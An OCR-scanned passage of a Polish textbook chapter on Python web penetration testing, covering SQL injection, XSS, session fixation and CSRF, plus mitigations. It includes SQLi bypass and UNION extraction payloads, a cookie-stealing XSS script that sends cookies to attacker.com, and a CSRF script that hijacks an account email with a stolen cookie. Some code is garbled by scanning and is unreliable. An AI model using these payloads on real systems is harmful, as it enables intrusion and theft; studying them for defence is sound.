Praca z aplikacjami internetowymi: Testowanie penetracyjne z Pythonem

Aplikacje internetowe sg czesto pierwszg linig narazenia na cyberzagrozenia, co sprawia, ze ich
bezpieczenstwo jest najwazniejsze. W tym rozdziale omoéwiono metodologie i narzedzia do
przeprowadzania testéw penetracyjnych aplikacji internetowych przy uzyciu Pythona. Obejmuje on
automatyczne testowanie aplikacji internetowych pod katem typowych luk, takich jak wstrzykiwanie
kodu SQL, cross-site scripting (XSS) i problemy z uwierzytelnianiem. Dzieki praktycznemu podejsciu
czytelnicy nauczg sie, jak uzywac Pythona do tworzenia skryptéw, ktére badajg aplikacje internetowe,
analizujg odpowiedzi i identyfikujg stabosci bezpieczenstwa. Ten rozdziat wyposaza czytelnikéw w
wiedze, aby przeprowadza¢ wydajne i skuteczne testy penetracyjne aplikacji internetowych,
przyczyniajac sie do nadrzednego celu zabezpieczenia ustug internetowych.

Zrozumienie testow penetracyjnych aplikacji internetowych

Testy penetracyjne aplikacji internetowych stanowig kluczowy element w dziedzinie
cyberbezpieczenstwa, majacy na celu ocene poziomu bezpieczenstwa aplikacji internetowych poprzez
symulacje kontrolowanych cyberatakow. Dzieki temu procesowi luki, stabosci bezpieczenstwa i
potencjalne punkty wejscia dla nieautoryzowanego dostepu w aplikacji internetowej s3
identyfikowane, analizowane i pdZniejtagodzone. Ta aktywnos¢ nie tylko pomaga w ochronie poufnych
danych, ale takze odgrywa znaczacg role w utrzymaniu zaufania uzytkownikow i zgodnosci z wymogami
prawnymi i regulacyjnymi. W kontekscie uzywania Pythona do testéw penetracyjnych wazne jest, aby
najpierw ustali¢ podstawowe zrozumienie tego, co stanowi aplikacje internetowa. Aplikacja
internetowa to dowolna aplikacja programowa, ktéra dziata na serwerze internetowym i komunikuje
sie z uzytkownikami za posrednictwem przegladarek internetowych w sieci, takiej jak Internet. Typowe
cechy aplikacji internetowych obejmujg dynamiczne generowanie tresci na podstawie danych
wejsciowych uzytkownika, interakcje z bazg danych i mechanizmy uwierzytelniania uzytkownikéw.
Testowanie penetracyjne aplikacji internetowych mozna ogdlnie podzieli¢ na nastepujgce kluczowe
etapy:

e Planowanie i rozpoznanie: Ten poczatkowy etap obejmuje zdefiniowanie zakresu i celdw testu,
zebranie informacji o aplikacji docelowej w celu zrozumienia jej funkcjonalnosci i stosu
technologicznego oraz zidentyfikowanie kluczowych obszaréw, na ktérych nalezy sie skupi¢ podczas
testowania.

¢ Skanowanie: Zautomatyzowane narzedzia sg czesto uzywane do wysytania réznych zgdan do aplikacji
internetowe] i analizowania odpowiedzi w celu zidentyfikowania potencjalnych luk lub btednych
konfiguracji.

e Uzyskiwanie dostepu: Na tym etapie testerzy penetracyjni prébujg wykorzystac zidentyfikowane luki
w zabezpieczeniach, uzywajac réznych wektoréw ataku. Celem jest zademonstrowanie potencjalnego
wptywu ataku, takiego jak nieautoryzowany dostep do danych lub kontrola nad funkcjonalnosciami
aplikacji.

e Utrzymywanie dostepu: Obejmuje to zrozumienie, czy luka w zabezpieczeniach moze zostaé
wykorzystana do uzyskania trwatej obecnosci w srodowisku ofiary, symulujgc zaawansowane trwate
zagrozenia, ktére pozostajg w sieci niezauwazone przez dtuzszy czas.

¢ Analiza i raportowanie: Wyniki testu penetracyjnego, w tym zidentyfikowane, wykorzystane luki w
zabezpieczeniach i wszelkie dane uzyskane podczas testu, sg starannie dokumentowane. W tej fazie
podawane sg réwniez zalecenia dotyczgce naprawy.



Python jest doskonatym narzedziem do przeprowadzania testow penetracyjnych aplikacji
internetowych ze wzgledu na swojg prostote, rozbudowane wsparcie bibliotek i duzg spotecznosc
programistéw tworzacych i udostepniajagcych narzedzia i skrypty dostosowane do zadan
cyberbezpieczenstwa. Pozwala testerom zautomatyzowaé etap skanowania, skutecznie
wykorzystywac luki w zabezpieczeniach, a nawet automatyzowaé ekstrakcje cennych danych podczas
procesu testowania. Aby pomysinie przeprowadzi¢ testy penetracyjne przy uzyciu Pythona, kluczowe
jest posiadanie praktycznej wiedzy na temat protokotéw aplikacji internetowych, takich jak
HTTP/HTTPS, zrozumienie technologii po stronie klienta, takich jak HTML, JavaScript i CSS, oraz
znajomos¢ komponentow po stronie serwera i systemow baz danych. Znajomos¢ typowych luk w
zabezpieczeniach aplikacji internetowych i metodologii atakéw, takich jak wstrzykiwanie kodu SQL,
cross-site scripting (XSS) i cross-site request forgery (CSRF), jest réwniez niezbedna. Dzieki Pythonowi
testerzy moga tworzy¢ niestandardowe skrypty w celu zautomatyzowania wykrywania luk w
zabezpieczeniach internetowych, wykonywania zaawansowanych dziatan eksploatacyjnych i
ostatecznie wzmacniania postawy bezpieczenistwa aplikacji internetowych. Niniejsza sekcja stanowi
podstawowy blok konstrukcyjny, przygotowujgcy czytelnikdw do zagtebienia sie w szczegdty
wykorzystania jezyka Python do penetracji i zabezpieczania aplikacji internetowych w kolejnych
sekcjach.

Konfigurowanie srodowiska Pythona do testow penetracyjnych sieci

Konfigurowanie $rodowiska Pythona dostosowanego do testdw penetracyjnych sieci obejmuje kilka
krytycznych krokéw, aby zapewnié, ze wszystkie niezbedne narzedzia i biblioteki sg tatwo dostepne do
skutecznych dziatan testowych. Python, ze swoim rozlegtym ekosystemem bibliotek, stuzy jako
potezne narzedzie w arsenale testera penetracyjnego sieci. Ta sekcja szczegdtowo opisuje poczatkowa
konfiguracje, w tym instalacje Pythona, konfiguracje srodowiska wirtualnego i instalacje niezbednych
bibliotek skupionych na bezpieczenstwie aplikacji internetowych. Po pierwsze, wazne jest, aby
upewnic sie, ze Python jest zainstalowany na maszynie testujgcej. Zalecany jest Python 3.x ze wzgledu
na ulepszone funkcje i obstuge nowszych bibliotek. Instalacje mozna wykona¢ za posrednictwem
oficjalnej strony internetowej Pythona lub za posrednictwem menedzeréw pakietéw w systemach
operacyjnych Linux i MacOS.

S sudo apt-get update
S sudo apt-get install python3.8

Po zainstalowaniu Pythona nastepnym krokiem jest skonfigurowanie sSrodowiska wirtualnego.
Srodowiska wirtualne umozliwiajg zarzadzanie zaleznoéciami dla réznych projektéw poprzez tworzenie
dla nich odizolowanych $rodowisk Pythona. Jest to szczegdlnie przydatne w projektach testow
penetracyjnych, w ktérych srodowisko Pythona musi by¢ dostosowane do konkretnych potrzeb
projektu bez wptywu na globalne ustawienia Pythona. Srodowisko wirtualne mozna utworzyé za
pomocg nastepujgcych polecen.

S python3 -m venv pentestenv
S source pentestenv/bin/activate

Po aktywowaniu srodowiska wirtualnego nacisk przesuwa sie na instalacje bibliotek, ktdre sg
niezbedne do testow penetracyjnych sieci. Niektdre z niezbednych bibliotek Pythona obejmujg zadania
do wysytania zadan HTTP, BeautifulSoup do scrapowania sieci, Scrapy do indeksowania sieci, sqlmap
do wykrywania i wykorzystywania luk w zabezpieczeniach wstrzykiwania kodu SQL oraz selenium do
automatyzacji przegladarek internetowych. (pentestenv) $ pip install requests BeautifulSoup4 Scrapy



sqlmap selenium Oprdcz tych bibliotek korzystne jest rowniez zainstalowanie narzedzi takich jak
Wireshark i Burp Suite, ktére, chociaz nie s3 oparte na Pythonie, s3 nieocenione w analizie ruchu
sieciowego i pomagajg w testowaniu penetracyjnym aplikacji internetowych. Na koniec nalezy
podkresli¢ znaczenie utrzymania bezpieczenstwa srodowiska testowego. Upewnij sie, ze srodowisko
jest bezpiecznie skonfigurowane, a dane uzyskane podczas testowania sg chronione zgodnie z
normami prawnymi i etycznymi. Zawsze uzyskaj niezbedne uprawnienia przed przeprowadzeniem
testow penetracyjnych w aplikacjach internetowych. Ta konfiguracja stanowi podstawe, na ktorej
budowane s3 dalsze techniki i narzedzia testowania penetracyjnego, oméwione w kolejnych sekcjach.
Dzieki temu Srodowisku testerzy sg dobrze przygotowani do rozpoczecia zadania identyfikowania i
wykorzystywania luk w aplikacjach internetowych, uzywajgc Pythona jako kluczowego narzedzia w
swoim zestawie narzedzi testowych.

Eksploracja protokotéow aplikacji internetowych za pomoca Pythona

Zrozumienie protokotéw wykorzystywanych przez aplikacje internetowe jest podstawowym aspektem
testow penetracyjnych. Protokot przesytania hipertekstu (HTTP) i jego bezpieczny odpowiednik, HTTPS,
to podstawowe protokoty, za pomocg ktéorych komunikujg sie aplikacje internetowe. W tej sekgji
omoéwione zostang bezposrednie interakcje z tymi protokotami przy uzyciu Pythona do wysyfania
zadan i analizowania odpowiedzi. To zrozumienie jest kluczowe dla identyfikacji potencjalnych luk w
zabezpieczeniach. Jezyk programowania Python oferuje kilka bibliotek do interakcji z protokotami
internetowymi, przy czym biblioteka zadan jest jedng z najpopularniejszych ze wzgledu na swoja
prostote i fatwosé uzytkowania. Aby rozpoczac interakcje z aplikacjami internetowymi za
posrednictwem protokotu HTTP/HTTPS, nalezy najpierw zainstalowa¢ biblioteke zadan. Mozna to
osiggna¢, uruchamiajac polecenie pip install requests w terminalu. Po pomysinej instalacji nastepnym
krokiem jest stworzenie prostego skryptu, ktéry wysyta zgdanie do aplikacji internetowej i drukuje
odpowiedz. Rozwaz nastepujacy przykfad:

1 import requests

2

3 url ="" http://example.com
4 response = requests.get(url)
5 print(response.text)

Ten skrypt wysyta zgdanie GET do okreslonego adresu URL i drukuje zawarto$s¢ HTML strony. Funkcja
request-s.get stuzy do wysytania Zzadania GET, a odpowiedZ z serwera internetowego jest
przechowywana w zmiennej response. Atrybut .text obiektu response zawiera tres¢ odpowiedzi — w
wiekszosci przypadkow zawartosé HTML. Analiza nagtéwkow odpowiedzi moze ujawnic¢ konfiguracje
zabezpieczen aplikacji internetowej. Aby uzyska¢ dostep do nagtéwkow:

1 headers = response.headers
2 for header in headers:
3 print(header,headers[header])

Ten fragment kodu wylicza nagtéwki odpowiedzi, drukujgc kazdy z nich. Nagtéwki mogg zawierac
zasady bezpieczenstwa, takie jak Content-Security-Policy, X-Frame-Options i Strict-Transport-Security,
ktére sg szczegdlnie interesujgce w testach penetracyjnych. Aby manipulowaé nagtéwkami zadan,



symulujgc w ten sposdb réznych klientdw lub prébujgc omingc kontrole bezpieczenstwa, zmodyfikuj
funkcje requests.get w nastepujgcy sposdb:

1 custom-headers = {

2 "User-Agent": "PenTestTool/0.1",

3 "X-Forwarded-For": "127.0.0.1"

4}

5

6 response = requests.get(url, headers=custom_headers)

Ten kod wysyta zgdanie GET z niestandardowymi nagtéwkami. Zmiana , User-Agent” moze symulowac
zadania z réznych urzadzen lub przegladarek, podczas gdy nagtéwek ,X-Forwarded-For” moze by¢
uzywany do podszywania sie pod adresy IP. Podczas wykonywania czynnosci, takich jak logowanie do
aplikacji internetowej, konieczne jest wysytanie danych za pomocg metody POST. Biblioteka zadan
upraszcza to w nastepujgcy sposob:

1 logiri_data = {

2 "username": "admin",

3 "password": "password 123"

4}

5

6 response = requests.post(url + "/login", data=login_data)

W tym przyktadzie stownik zawierajgcy dane logowania jest przekazywany do funkcji requests.post,
symulujgc przestanie formularza. Sprawdzenie odpowiedzi moze wskazaé, czy préba logowania
zakoniczyta sie powodzeniem. Ponadto obstuga protokotu HTTPS wymaga zrozumienia certyfikatow.
Domyslnie biblioteka requests weryfikuje certyfikaty SSL. Aby oming¢ weryfikacje SSL (niezalecane w
przypadku kodu produkcyjnego), uzyj parametru verify=False w funkcjach get lub post. Nalezy
pamietac, ze wytgczenie weryfikacji SSL jest korzystne dla celéw testowych w kontrolowanych
srodowiskach, ale stwarza znaczne ryzyko bezpieczedstwa, jedli jest uiywane nieostroznie.
Opanowujac uzywanie jezyka Python do interakcji z protokotami aplikacji internetowych, testerzy
penetracyjni mogg zautomatyzowaé wykrywanie luk w zabezpieczeniach, czynigc procesy testowania
zaréwno wydajnymi, jak i kompleksowymi. Nastepne sekcje beda zagtebia¢ sie w automatyzacje
wykrywania okreslonych luk w zabezpieczeniach, opierajac sie na podstawowej wiedzy na temat
protokotéw internetowych oméwionych tutaj.

Automatyzacja wykrywania luk w aplikacjach internetowych

Automatyzacja odgrywa kluczowg role w dziedzinie testow penetracyjnych aplikacji internetowych,
umozliwiajgc testerom skuteczng identyfikacje potencjalnych problemoéw bezpieczenstwa. Ta sekcja
dotyczy rozwoju skryptéw Pythona zaprojektowanych w celu automatyzacji wykrywania typowych luk
w zabezpieczeniach sieci. Aby rozpoczg¢ automatyzacje zadan, nalezy miec¢ jasne zrozumienie celéw.
W kontekscie testow penetracyjnych sieci, gtdwne cele obejmujg identyfikacje punktéow wejscia,
testowanie tych punktéw pod katem luk w zabezpieczeniach, a nastepnie rejestrowanie wynikéw do



analizy. Osiaggniecie tych celéw poprzez automatyzacje wymaga znajomosci protokotéw
internetowych, metod HTTP oraz struktury zadan i odpowiedzi internetowych.

Narzedzia Pythona do zadan internetowych

Podstawowym krokiem w automatyzacji procesu wykrywania jest wykonywanie zgdan internetowych
i obstuga odpowiedzi. Biblioteka zadan Pythona oferuje usprawnione podejscie do wysytania zgdan
HTTP i interpretowania wynikéw. Aby zainstalowad biblioteke zgdan, wykonaj nastepujace polecenie
w terminalu:

1 pip install requests

Aby to zobrazowac, rozwazmy prosty skrypt, ktéry wysyta zgdanie GET do okre$lonego adresu URL i
drukuje kod stanu HTTP odpowiedzi:

1 import requests

2

3 def check_url(url):

4 response = requests.get(url)

5 print(f"URL: {url), Status Code: (response.status_code}")
6

7 if _name ==" main

8 url ="" http://example.com

9 check_url(url)

Ten skrypt stuzy jako podstawowy framework do inicjowania zadan do aplikacji internetowych.
Dostosowanie metody zgdania lub nagtdwkdéw moze dostosowac zgdanie do konkretnych scenariuszy
testowych.

Identyfikacja punktéw podatnych

Aby zautomatyzowa¢ wykrywanie luk, nalezy systematycznie testowaé rézne komponenty aplikacji
internetowej. Obejmuje to identyfikacje formularzy, pdél wprowadzania i innych potencjalnych
punktéw wstrzykniecia. Biblioteka Pythona BeautifulSoup jest wysoce skuteczna w parsowaniu
zawartosci HTML i wyodrebnianiu takich informacji. Zainstaluj BeautifulSoup za pomoca:

1 pip install beautifulsoup4

Dzieki BeautifulSoup parsowanie formularza HTML moze odbywac sie w nastepujgcy sposob:
1 from bs4 import BeautifulSoup

2 import requests

3

4 def find_forms(url):

5 response = requests.get(url)

6 soup = BeautifulSoup(response.text, 'html.parser’)



7 forms = soup.find_all('form’)

8 print(f"Found {len(forms)} form(s) on {url}.")
9 return forms

10

11if name_=="__main_

12 url ="" http://example.com

13 forms = find_forms(url)

Ten skrypt pobiera zawartos¢ HTML strony i wykorzystuje BeautifulSoup do identyfikacji wszystkich
formularzy. Kazdy formularz potencjalnie stanowi punkt podatnosci, ktédry wymaga dalszych testéw.

Automatyzacja testowania podatnosci

Po zidentyfikowaniu punktéw wejsciowych, nastepnym krokiem jest automatyczne testowanie
typowych podatnosci, takich jak wstrzykiwanie kodu SQL i skrypty miedzy witrynami (XSS). Dla kazdego
zidentyfikowanego formularza skrypt powinien wstrzykiwac¢ tadunki zaprojektowane do testowania
okreslonych podatnosci i analizowa¢ odpowiedzi pod katem wskazan podatnosci. Automatyzacja
testowania wstrzykiwania kodu SQL obejmuje na przyktad wysytanie spreparowanych fadunkow, ktoére
powodujg btedy SQL lub nieoczekiwane zachowania, gdy s nieprawidtowo obstugiwane przez
aplikacje internetowaq. Ponizej przedstawiono uproszczony przykfad:

1 import requests

2

3 def test_sql_injection(url, form_data):

4 sgl_payload =""ORT=T'

5 form_data[’username’] = sql_payload

6 response = requests.post(url, data=form_data)

7 if "error" in response.text.lower():

8 print(f "Potential SQL Injection vulnerability found on {url}.")
9 else:

10 print(f "No evident vulnerability on {url}.")

11

12 if name_=="__main_":

13 url ="" http://example.com/login

14 form_data = {'username’: ”, ‘password’: "}
15 test_sql_injection(url, form_data)

llustruje to automatyzacje prostego testu wstrzykiwania kodu SQL poprzez zmiane danych formularza
wysytanych w Zadaniu POST. Testowanie w warunkach rzeczywistych wymaga bardziej



wyrafinowanych tadunkéw i skrupulatnej analizy odpowiedzi w celu doktadnego wykrywania luk.
Automatyzacja wykrywania luk w aplikacjach internetowych oferuje skalowalne i wydajne podejscie
do identyfikacji potencjalnych zagrozen bezpieczenstwa. Dzieki strategicznemu wykorzystaniu
skryptow Pythona testerzy penetracyjni mogg systematycznie bada¢ aplikacje internetowe, znacznie
zwiekszajgc skutecznos¢ ocen bezpieczendstwa. Ta automatyzacja nie tylko przyspiesza proces
testowania, ale takze wspiera dokfadniejsze badanie odpornosci aplikacji na rézne wektory atakow.

Identyfikowanie i wykorzystywanie luk wstrzyknie¢ SQL za pomocg Pythona

Identyfikacja i wykorzystywanie luk wstrzyknie¢ SQL wymaga gtebokiego zrozumienia zaréwno
interakcji bazy danych zaplecza aplikacji internetowej, jak i perspektywy atakujgcego. Wstrzykniecie
SQL (SQLi) to luka w zabezpieczeniach, ktora pozwala atakujgcemu na ingerencje w zapytania, ktére
aplikacja wysyta do swojej bazy danych. To powszechny wektor ataku, ktdry moze prowadzi¢ do
nieautoryzowanego przegladania danych, ich modyfikacji, a nawet wykonywania operacji
administracyjnych w bazie danych.

Zrozumienie wstrzykniecia SQL

W swojej istocie wstrzykniecie SQL polega na zmianie zapytan SQL poprzez wstrzykniecie ztosliwego
kodu SQL. Jest to mozliwe za posrednictwem pdl wprowadzania uzytkownika w aplikacji, ktore sg
nieodpowiednio czyszczone przed wtgczeniem do zapytan SQL. Udane wykorzystanie moze skutkowac
nieautoryzowanym dostepem do poufnych informacji przechowywanych w bazie danych, w tym
danych uwierzytelniajgcych uzytkownika, danych osobowych (Pll) i poufnych danych biznesowych.

Wykrywanie luk w zabezpieczeniach SQL Injection za pomoca Pythona

Aby wykry¢ luki w zabezpieczeniach SQL Injection, mozna uzy¢ Pythona do zautomatyzowania procesu
wstrzykiwania tadunkéw testujacych typowe wady SQLi. Bogaty zestaw bibliotek Pythona, takich jak
zadania dla zadan HTTP i BeautifulSoup do parsowania HTML, sprawia, ze jest to doskonate narzedzie
do testowania penetracyjnego aplikacji internetowych.

Przyktad automatycznego wykrywania

Rozwazimy scenariusz, w ktérym chcemy zidentyfikowac¢ luki w zabezpieczeniach SQL Injection w
funkcji logowania aplikacji internetowej. Ponizszy fragment kodu Pythona demonstruje
zautomatyzowane podejscie do wykrywania luk w zabezpieczeniach SQLi:

1 import requests

2

3 target_url ="' http://example.com/login'

4 payloads =["" OR TAr," OR T=T—OR T=T/*"]

5

6 for payload in payloads:

7 data_dict = {"username": payload, "password": "password", "Login": "submit"}
8 response = requests.post(target_url, data=data_dict)

9 if "Welcome" in response.text:

10 printf'SQL Injection vulnerability detected with payload:" + payload)



11 break

Ten kod testuje rézne tadunki wykorzystujgce luki w logice SQL w celu ominiecia uwierzytelniania. Jesli
w odpowiedzi HTTP zostanie znaleziony cigg ,Welcome”, oznacza to, ze tadunek pomysinie ominat
mechanizm logowania, co sugeruje luke w zabezpieczeniach SQL Injection.

Wykorzystywanie luk w zabezpieczeniach SQL Injection

Po zidentyfikowaniu luki w zabezpieczeniach SQL Injection, nastepnym krokiem jest jej wykorzystanie
w celu zebrania informacji, eskalacji uprawniei lub wykonania nieautoryzowanych dziatai. Zakres
wykorzystania SQL Injection moze obejmowac od ekstrakcji danych do naruszenia bezpieczenstwa
serwera bazowego.

Przyktad ekstrakcji danych

Ponizszy fragment kodu Pythona demonstruje prostg luke w zabezpieczeniach SQL Injection, ktéra
wyodrebnia nazwy tabel z bazy danych:

1 import requests

2 from bs4 import BeautifulSoup

3

4 target_url =" http://example.com/vulnerable-page'

5 payload =" UNION SELECT table_name, NULL FROM information_schema.tables —"
6

7 data_dict = {"search_field": payload, "Search": "submit"}
8 response = requests.post(target_url, data=data_dict)

9

10 soup = BeautifulSoup(response.text,'html.parser')

11 tables = soup.find_all("table’)

12

13 for table in tables:

14 print(table.get_text())

W tym przyktadzie tadunek, ktéry wykonuje operacje UNION SELECT, jest wstrzykiwany do funkcji
wyszukiwania aplikacji internetowej. Jego celem jest wyodrebnienie nazw tabel ze schematu
informacji bazy danych. Odpowied? jest analizowana pod katem znacznikéw HTML <table> w celu
pobrania nazw tabel. Identyfikowanie i wykorzystywanie luk wstrzyknie¢ SQL w Pythonie wymaga
rygorystycznych testéw i gruntownej znajomosci sktadni SQL i systemdéw zarzgdzania bazami danych.
Podczas gdy zautomatyzowane narzedzia i skrypty mogg znacznie pomdc w odkrywaniu luk,
zniuansowane podejscie dostosowane do konkretnej aplikacji i struktury bazy danych czesto osigga
najlepsze rezultaty. Podczas przeprowadzania testéw penetracyjnych najwazniejsze jest rowniez
postepowanie w granicach prawnych i etycznych ram.

Tworzenie atakow typu Cross-Site Scripting (XSS) w Pythonie



Cross-Site  Scripting (XSS) to powszechna luka w zabezpieczeniach aplikacji internetowych,
umozliwiajgca atakujgcym wstrzykiwanie ztosliwych skryptow do stron internetowych wyswietlanych
przez innych uzytkownikéw. W tej sekcji omdéwimy, jak identyfikowac luki w zabezpieczeniach XSS i
pokazemy konstrukcje atakéw XSS przy uzyciu Pythona. Podchodzimy do tych tematow, ktadac nacisk
na zasady etycznego hakowania, zapewniajgc, ze wszystkie dziatania sg prowadzone w granicach
prawnych i etycznych. Identyfikowanie luk w zabezpieczeniach XSS: Pierwszym krokiem w tworzeniu
ataku XSS jest identyfikacja potencjalnych punktéw wstrzykniecia w aplikacji internetowej. Punkty te
zwykle znajdujg sie w miejscach, w ktérych dane wejsciowe uzytkownika sg bezposrednio
uwzgledniane w wyjsciowym kodzie HTML bez wystarczajgcej dezynfekcji lub kodowania. Typowe
przyktady obejmujg komentarze uzytkownikéw, dane wejsciowe formularzy i parametry adresu URL.
Aby zautomatyzowac wykrywanie luk w zabezpieczeniach XSS, Python moze zosta¢ wykorzystany do
wysytania tadunkow, ktére po wykonaniu wskazujg na luke w zabezpieczeniach. Ponizej znajduje sie
prosty skrypt Pythona wykorzystujacy biblioteke zgdan do testowania odzwierciedlonych luk w
zabezpieczeniach XSS:

1 import requests

2

3 # The URL of the target web application

4 url = 'http://example.com/vulnerable-page'

5

6 # Example of a basic XSS payload

7 payload = {'input": '<script>alertC\XSS")</script>’}
8

9 # Sending a GET request with the payload

10 response = requests.get(url, params=payload)
11

12 # Checking if the payload is reflected in the response content
13 if payload[’input'] in response.text:

14 print(’'Reflected XSS vulnerability detected!’)

15 else:

16 print(’No reflected XSS vulnerability detected.’)

Ten skrypt sprawdza, czy odbity XSS jest odbity, wysytajac znacznik skryptu jako dane wejsciowe
uzytkownika i analizujgc zawartos¢ odpowiedzi, aby sprawdzié, czy dane wejsciowe sg powtarzane bez
zmian.

Tworzenie tadunkdow XSS: Po zidentyfikowaniu luki w zabezpieczeniach XSS nastepnym krokiem jest
tworzenie fadunkéw, ktére demonstrujg wptyw luki. Podczas gdy proste fadunki, takie jak
<script>alert(l)</script>, sg przydatne do testowania, ataki w $wiecie rzeczywistym czesto obejmujg
tadunki, ktére kradng pliki cookie, przechwytujg nacisniecia klawiszy lub przekierowujg uzytkownikéw



do ztosliwych witryn. Ponizej znajduje sie przyktad skryptu Pythona, ktéry tworzy bardziej
wyrafinowany tadunek XSS majacy na celu kradziez plikdw cookie:

1 # A JavaScript snippet to steal cookies
2 xss_payload ="""

3 <script>

4 var xhr = new XMLHttpRequest();

5 xhr.openf'GET", "" + document.cookie, true);
http://attacker.com/steal?cookies=

6 xhr.send();

7 </script>

g ttftn

9

10 print(f'Crafted XSS Payload: {xss_payload}’)

Ten tadunek uzywa XMLHttpRequest JavaScript do wysytania plikdw cookie ofiary na serwer
kontrolowany przez atakujgcego.

Testowanie i walidacja: Podczas tworzenia tadunkéw XSS kluczowe znaczenie majg staranne
testowanie i walidacja. tadunki powinny by¢ testowane w kontrolowanym S$rodowisku, aby
zweryfikowac ich wykonanie i wptyw bez powodowania szkéd lub nieautoryzowanego dostepu do
rzeczywistych danych uzytkownika.

tagodzenie i raportowanie: Zrozumienie, jak tworzy¢ i wykonywac ataki XSS, wyposaza etycznych
hakeréw w wiedze, aby lepiej bronié aplikacji internetowych przed takimi lukami. Konieczne jest, aby
ustalenia z testéw penetracyjnych, w tym zidentyfikowane luki i sugerowane $rodki zaradcze, byty
doktadnie zgtaszane odpowiednim interesariuszom w celu ich naprawienia.

Podsumowujac, tworzenie atakow XSS w Pythonie obejmuje identyfikacje luk, tworzenie wptywowych
tadunkéw i rygorystyczne testowanie. Rozwazania etyczne i zgodnos$é z prawem pozostajg
najwazniejsze w catym procesie, podkreslajgc odpowiedzialnos¢, ktéra towarzyszy zdolnosci do
identyfikowania i wykorzystywania luk w aplikacjach internetowych.

Przejmowanie sesji i ataki CSRF z uzyciem Pythona

Przejmowanie sesji i fatszowanie zadan miedzy witrynami (CSRF) to wyrafinowane formy atakéw,
ktoérych celem jest stanowa natura sesji HTTP i zaufanie witryny do przegladarki uzytkownika.
Wykorzystujgc Pythona, etyczni hakerzy moga symulowac te ataki, aby odkry¢ luki w zabezpieczeniach
zarzadzania sesjami i obstugi zgdan aplikacji internetowej, dajagc w ten sposdb mozliwos¢ ich
naprawienia przed ztosliwym wykorzystaniem.

Zrozumienie przejecia sesji

Przejmowanie sesji polega na tym, ze atakujgcy wykorzystuje podatne aplikacje internetowe, aby
przejac kontrole nad sesjg uzytkownika i podszyc¢ sie pod niego. Najczestszg technikg jest utrwalenie
sesji, w ktérym atakujacy oszukuje ofiare, aby uzyta okreslonego identyfikatora ses;ji.



1 import requests

2

3 # Attacker crafts a URL with a fixed session ID

4 fixed_session_url =" http://example.com/login;jsessionid=1234'
5

6 response = requests.get(fixed_session_url)

7 if 'Welcome' in response.text:

8 print(’Session fixation possible.’)

Powyzszy fragment kodu Pythona demonstruje uproszczone podejscie do testowania naprawy sesji
poprzez wystanie zgdania HTTP do adresu URL z predefiniowanym identyfikatorem sesji. Jesli aplikacja
loguje uzytkownika lub utrzymuje stan sesji bez sprawdzania poprawnosci lub ponownego
generowania identyfikatora sesji, moze by¢ podatna na przejecie kontroli.

Eksploracja luk w zabezpieczeniach CSRF

Cross-Site Request Forgery, czyli CSRF, to atak, ktéry zmusza uzytkownika koricowego do wykonania
niechcianych dziatan w aplikacji internetowej, w ktdrej jest obecnie uwierzytelniony. W swojej istocie
wykorzystuje zaufanie, jakim witryna darzy przegladarke uzytkownika.

1 import requests

2

3 # Victim's session cookie, obtained through other means

4 victim_cookie = {'session_id": "authenticated user_session’}
5

6 # Attacker's payload to perform a state-changing request

7 malicious_payload = {'email": 'attacker@example.com'}

8

9 # The vulnerable application’s URL for email change request
10 request_url = 'http://example.com/change_email

11

12 # Conducting the CSRF attack

13 response = requests.post(request_url, cookies=victim_cookie, data=malicious_payload)
14

15 if response.status_code == 200:

16 > print(’CSRF attack successful.’)



W tym przyktadzie Pythona atakujgcy uzywa pliku cookie sesji ofiary do wystania zgdania zmiany stanu,
takiego jak zmiana adresu e-mail uzytkownika na kontrolowany przez atakujgcego. Sukces ataku zalezy
od tego, czy aplikacja internetowa nie zweryfikuje prawidtowo, czy zagdanie zostato celowo wystane
przez uzytkownika.

Strategie tagodzenia

Etyczni hakerzy musza nie tylko identyfikowac luki, ale takze proponowaé srodki w celu ich ztagodzenia.
W przypadku przejecia sesji jedng ze skutecznych strategii jest wdrozenie bezpiecznych praktyk
zarzadzania sesjami. Obejmuje to ponowne generowanie identyfikatoréw sesji po uwierzytelnieniu i
wdrazanie nagtdwkdéw zabezpieczen HTTP, takich jak flagi HttpOnly i Secure dla plikdéw cookie, ktore
zmniejszajg ryzyko wycieku tokendw sesji. W przypadku CSRF tagodzenie polega na zapewnieniu, ze
zadania zmiany stanu od uwierzytelnionych uzytkownikdéw sg wyraznie sprawdzane. Czesto jest to
osiggane za pomocg tokendw anty-CSRF, ktére sg unikalne dla kazdej sesji i uzytkownika, zapewniajac,
Ze zadanie pochodzi z zamierzonego interfejsu witryny.

1 # Sample implementation of a CSRF token validation

2 def validate_csrf_token(request):

3 session_csrf_token = request.session.get(’csrf_token’)

4 request_csrf_token = request.POST.get(’csrf_token’)

5

6 if not session_csrf_token or session_csrf_token = request_csrf_token:
7 return False

8 return True

Funkcja Pythona powyzej szczegdétowo opisuje uproszczony mechanizm walidacji tokena CSRF.
Poréwnuje token wystany z zgdaniem z tokenem przechowywanym w sesji uzytkownika. Jesli sg
zgodne, zadanie jest uznawane za uzasadnione; w przeciwnym razie jest odrzucane. Przechwytywanie
sesji i CSRF stanowig powazne zagrozenie dla bezpieczenstwa aplikacji internetowych. Etyczni hakerzy
wyposazeni w Pythona mogg skutecznie symulowaé te ataki, odkrywajac luki w zabezpieczeniach,
ktére w przeciwnym razie mogtyby zosta¢ wykorzystane. Poprzez staranne testowanie i wdrazanie
solidnych srodkéw bezpieczenstwa programisci mogg chroni¢ swoje aplikacje przed takimi
inwazyjnymi atakami.

tamanie uwierzytelniania i zarzagdzania sesjami

Uwierzytelnianie i zarzadzanie sesjami to kluczowe mechanizmy bezpieczenstwa aplikacji
internetowych, odpowiedzialne za weryfikacje tozsamosci uzytkownikdéw i utrzymywanie ich stanu w
przypadku wielu zadan. Wady tych mechanizmdéw mogg prowadzi¢ do nieautoryzowanego dostepu i
kontroli, stwarzajgc znaczne ryzyko zaréwno dla aplikacji, jak i jej uzytkownikdw. Ta sekcja omawia
wykorzystywanie stabosci w uwierzytelnianiu i zarzadzaniu sesjami przy uzyciu jezyka Python. Po
pierwsze, istotne jest zrozumienie metodologii stojacych za systemami uwierzytelniania, ktoére
zazwyczaj obejmujg hasta, tokeny lub inne formy poswiadczen. Réwnie wazne jest zarzadzanie sesjami,
w ktorym sesje sg tworzone po pomysinym uwierzytelnieniu w celu utrwalenia stanu uzytkownika.
Identyfikowanie stabosci mechanizméw uwierzytelniania



Pierwszy krok obejmuje identyfikacje luk w mechanizmie uwierzytelniania aplikacji. Mozna to osiggna¢
za pomocg takich technik, jak:

» Ataki sitowe, ktére probujg odgadnac hasta za pomocg systematycznych préb.
